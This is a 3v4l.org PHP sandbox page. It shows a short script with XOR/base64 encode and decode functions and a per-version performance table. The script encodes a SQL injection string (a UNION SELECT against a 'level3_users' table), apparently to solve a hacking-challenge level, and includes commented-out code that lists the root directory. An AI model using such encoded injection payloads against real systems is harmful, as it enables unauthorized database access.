3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,2,3,4,5,6,7 FROM level3_users WHERE Username=Admin #"); print "\n"; print "\n"; #$handle = opendir('/'); #while (($file = readdir($handle)) !== false) # print $file. "\n"; #closedir($handle); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.01118.43
8.3.50.0090.00821.33
8.3.40.0070.00719.09
8.3.30.0120.00618.92
8.3.20.0080.00018.93
8.3.10.0120.00320.98
8.3.00.0030.00623.52
8.2.180.0060.01216.63
8.2.170.0090.01222.96
8.2.160.0000.01420.38
8.2.150.0060.00324.18
8.2.140.0040.00424.66
8.2.130.0080.00026.16
8.2.120.0040.00421.13
8.2.110.0090.00020.38
8.2.100.0040.00817.84
8.2.90.0040.00419.29
8.2.80.0000.00818.05
8.2.70.0030.00517.75
8.2.60.0080.00017.93
8.2.50.0050.00318.07
8.2.40.0040.00418.28
8.2.30.0040.00421.23
8.2.20.0040.00417.97
8.2.10.0000.00818.05
8.2.00.0000.00817.94
8.1.280.0040.01125.92
8.1.270.0060.00323.99
8.1.260.0080.00026.35
8.1.250.0080.00028.09
8.1.240.0030.00622.42
8.1.230.0120.00021.02
8.1.220.0050.00318.77
8.1.210.0080.00018.89
8.1.200.0000.00917.38
8.1.190.0030.00617.63
8.1.180.0030.00518.10
8.1.170.0090.00018.89
8.1.160.0050.00218.95
8.1.150.0020.00518.68
8.1.140.0000.00817.59
8.1.130.0040.00417.88
8.1.120.0030.00617.70
8.1.110.0040.00417.52
8.1.100.0000.00717.65
8.1.90.0050.00217.68
8.1.80.0000.00817.66
8.1.70.0070.00017.63
8.1.60.0050.00317.72
8.1.50.0040.00417.64
8.1.40.0050.00317.63
8.1.30.0000.00817.85
8.1.20.0040.00417.73
8.1.10.0040.00417.79
8.1.00.0000.00817.74
8.0.300.0040.00420.15
8.0.290.0040.00417.30
8.0.280.0000.00718.43
8.0.270.0000.00717.25
8.0.260.0040.00416.95
8.0.250.0000.00717.11
8.0.240.0030.00617.18
8.0.230.0000.00717.14
8.0.220.0000.00717.08
8.0.210.0000.00717.11
8.0.200.0070.00017.06
8.0.190.0040.00417.11
8.0.180.0040.00417.13
8.0.170.0000.00816.96
8.0.160.0000.00716.96
8.0.150.0000.00817.07
8.0.140.0050.00316.94
8.0.130.0060.00013.49
8.0.120.0000.00716.92
8.0.110.0050.00316.88
8.0.100.0000.00717.13
8.0.90.0000.00717.14
8.0.80.0140.00017.03
8.0.70.0080.00317.02
8.0.60.0000.00817.08
8.0.50.0020.00516.87
8.0.30.0130.00617.27
8.0.20.0140.00517.47
8.0.10.0040.00417.09
8.0.00.0110.00717.12
7.4.330.0020.00314.95
7.4.320.0030.00316.80
7.4.300.0040.00416.73
7.4.290.0030.00316.73
7.4.280.0070.00016.66
7.4.270.0030.00316.84
7.4.260.0060.00013.50
7.4.250.0040.00416.70
7.4.240.0070.00016.88
7.4.230.0050.00216.88
7.4.220.0160.00616.74
7.4.210.0080.00716.81
7.4.200.0070.00016.64
7.4.190.0000.00716.81
7.4.160.0130.00316.80
7.4.150.0150.00317.40
7.4.140.0120.00617.86
7.4.130.0040.01416.80
7.4.120.0110.01016.81
7.4.110.0040.01416.70
7.4.100.0130.01016.86
7.4.90.0040.01516.91
7.4.80.0110.00719.39
7.4.70.0090.00916.79
7.4.60.0000.01616.84
7.4.50.0030.00616.64
7.4.40.0030.01322.52
7.4.30.0100.00716.84
7.4.00.0000.01515.35
7.3.330.0000.00513.55
7.3.320.0060.00013.40
7.3.310.0030.00316.43
7.3.300.0030.00316.52
7.3.290.0000.01816.57
7.3.280.0090.00716.54
7.3.270.0100.01017.40
7.3.260.0120.01018.24
7.3.250.0140.00316.67
7.3.240.0150.00916.59
7.3.230.0130.00316.63
7.3.210.0160.00616.81
7.3.200.0140.00419.39
7.3.190.0040.01416.62
7.3.180.0120.00416.79
7.3.170.0110.00616.65
7.3.160.0100.00716.77
7.3.120.0030.00914.70
7.2.330.0090.01216.71
7.2.320.0090.00916.73
7.2.310.0100.01316.88
7.2.300.0070.01016.88
7.2.290.0100.01416.80
7.2.00.0000.01319.63
7.1.100.0030.01518.48
7.1.70.0000.00817.50
7.1.60.0030.01719.40
7.1.50.0180.00717.18
7.1.00.0070.03022.37
7.0.200.0000.00816.93
7.0.140.0000.07021.98
7.0.70.0070.06021.72
7.0.60.0000.08321.73
7.0.50.0030.08322.03
7.0.40.0030.04020.04
7.0.30.0170.06320.13
7.0.20.0000.08320.08
7.0.10.0030.05020.02
7.0.00.0000.09320.03
5.6.280.0030.07320.86
5.6.220.0100.05720.55
5.6.210.0070.06020.56
5.6.200.0170.07721.10
5.6.190.0000.08320.95
5.6.180.0130.07321.08
5.6.170.0100.07021.04
5.6.160.0070.07720.95
5.6.150.0000.08720.93
5.6.140.0000.08721.02
5.6.130.0070.07721.12
5.6.120.0000.07021.07
5.6.110.0030.07721.06
5.6.100.0000.08321.12
5.6.90.0070.08021.00
5.6.80.0030.08320.41
5.6.70.0070.08020.31
5.6.60.0070.06320.39
5.6.50.0070.07020.44
5.6.40.0070.08020.35
5.6.30.0070.07720.44
5.6.20.0000.05720.32
5.6.10.0100.08020.41
5.6.00.0030.07720.47
5.5.360.0130.03020.36
5.5.350.0030.06720.43
5.5.340.0000.08320.64
5.5.330.0070.06720.76
5.5.320.0070.07720.83
5.5.310.0070.10020.64
5.5.300.0070.07720.73
5.5.290.0100.06720.79
5.5.280.0070.06320.85
5.5.270.0030.05320.73
5.5.260.0070.07720.82
5.5.250.0000.06020.64
5.5.240.0000.08320.30
5.5.230.0070.08320.24
5.5.220.0030.07020.17
5.5.210.0070.07320.17
5.5.200.0130.05720.00
5.5.190.0070.08320.11
5.5.180.0030.08320.22
5.5.160.0030.07720.25
5.5.150.0000.04020.15
5.5.140.0030.08020.21
5.5.130.0000.08020.12
5.5.120.0030.07020.27
5.5.110.0100.06320.19
5.5.100.0070.08020.04
5.5.90.0000.07020.15
5.5.80.0000.07020.14
5.5.70.0000.06320.04
5.5.60.0030.07719.93
5.5.50.0070.07020.05
5.5.40.0000.08320.06
5.5.30.0130.06020.15
5.5.20.0030.07720.00
5.5.10.0000.08720.07
5.5.00.0070.08020.10
5.4.450.0030.08019.35
5.4.440.0100.07019.54
5.4.430.0070.06719.16
5.4.420.0100.07319.49
5.4.410.0070.07019.31
5.4.400.0030.07019.22
5.4.390.0070.07318.84
5.4.380.0100.07319.08
5.4.370.0030.07719.11
5.4.360.0000.06719.20
5.4.350.0100.06318.99
5.4.340.0000.07719.02
5.4.320.0030.07719.02
5.4.310.0030.07319.08
5.4.300.0100.07019.12
5.4.290.0030.04319.14
5.4.280.0000.07719.15
5.4.270.0000.07319.19
5.4.260.0070.07319.11
5.4.250.0070.07318.89
5.4.240.0070.07719.01
5.4.230.0070.07018.98
5.4.220.0030.06719.17
5.4.210.0030.05719.11
5.4.200.0070.07719.10
5.4.190.0100.05719.01
5.4.180.0070.06018.93
5.4.170.0000.07719.20
5.4.160.0070.05318.84
5.4.150.0030.04318.91
5.4.140.0070.05316.50
5.4.130.0030.05716.47
5.4.120.0070.07016.52
5.4.110.0030.07716.40
5.4.100.0070.07016.40
5.4.90.0030.05016.43
5.4.80.0070.07016.39
5.4.70.0030.05716.45
5.4.60.0030.06716.40
5.4.50.0000.07316.31
5.4.40.0030.07316.52
5.4.30.0030.07316.44
5.4.20.0100.05316.46
5.4.10.0070.06316.34
5.4.00.0070.06315.93
5.3.290.0070.05314.61
5.3.280.0030.07714.72
5.3.270.0070.07314.63
5.3.260.0000.08314.71
5.3.250.0100.04314.56
5.3.240.0000.07314.55
5.3.230.0030.07714.67
5.3.220.0070.07314.69
5.3.210.0030.06714.69
5.3.200.0070.04714.69
5.3.190.0100.07014.63
5.3.180.0030.06714.64
5.3.170.0000.08314.52
5.3.160.0030.07314.57
5.3.150.0070.07014.55
5.3.140.0030.07314.67
5.3.130.0000.07314.53
5.3.120.0000.08314.61
5.3.110.0030.05014.58
5.3.100.0030.07713.97
5.3.90.0030.07014.08
5.3.80.0070.07014.16
5.3.70.0030.07314.13
5.3.60.0030.06014.13
5.3.50.0000.06013.93
5.3.40.0070.07313.97
5.3.30.0030.06013.89
5.3.20.0070.07013.72
5.3.10.0000.07313.66
5.3.00.0000.06313.70
5.2.170.0070.06311.58
5.2.160.0000.05011.58
5.2.150.0030.06011.58
5.2.140.0170.04711.58
5.2.130.0030.06311.58
5.2.120.0030.05711.58
5.2.110.0100.04011.58
5.2.100.0070.04711.58
5.2.90.0030.05711.58
5.2.80.0070.04711.58
5.2.70.0070.04711.58
5.2.60.0000.06711.58
5.2.50.0070.07311.58
5.2.40.0030.05311.58
5.2.30.0030.03011.58
5.2.20.0030.06311.58
5.2.10.0000.06011.58
5.2.00.0030.06011.58
5.1.60.0030.04711.58
5.1.50.0000.04011.58
5.1.40.0030.02311.58
5.1.30.0000.02711.58
5.1.20.0030.03311.58
5.1.10.0030.02311.58
5.1.00.0000.02711.58
5.0.50.0000.02011.58
5.0.40.0000.02011.58
5.0.30.0000.03011.58
5.0.20.0070.01311.58
5.0.10.0030.02711.58
5.0.00.0000.02711.58
4.4.90.0000.02311.58
4.4.80.0000.03711.58
4.4.70.0030.02311.58
4.4.60.0030.03711.58
4.4.50.0000.03311.58
4.4.40.0030.03711.58
4.4.30.0000.01711.58
4.4.20.0000.01711.58
4.4.10.0000.01311.58
4.4.00.0000.02311.58
4.3.110.0000.01711.58
4.3.100.0000.01311.58
4.3.90.0000.01311.58
4.3.80.0000.02011.58
4.3.70.0000.01011.58
4.3.60.0000.01011.58
4.3.50.0000.01311.58
4.3.40.0000.02711.58
4.3.30.0000.01711.58
4.3.20.0000.01711.58
4.3.10.0000.01311.58
4.3.00.0000.01311.58

preferences:
36.37 ms | 400 KiB | 5 Q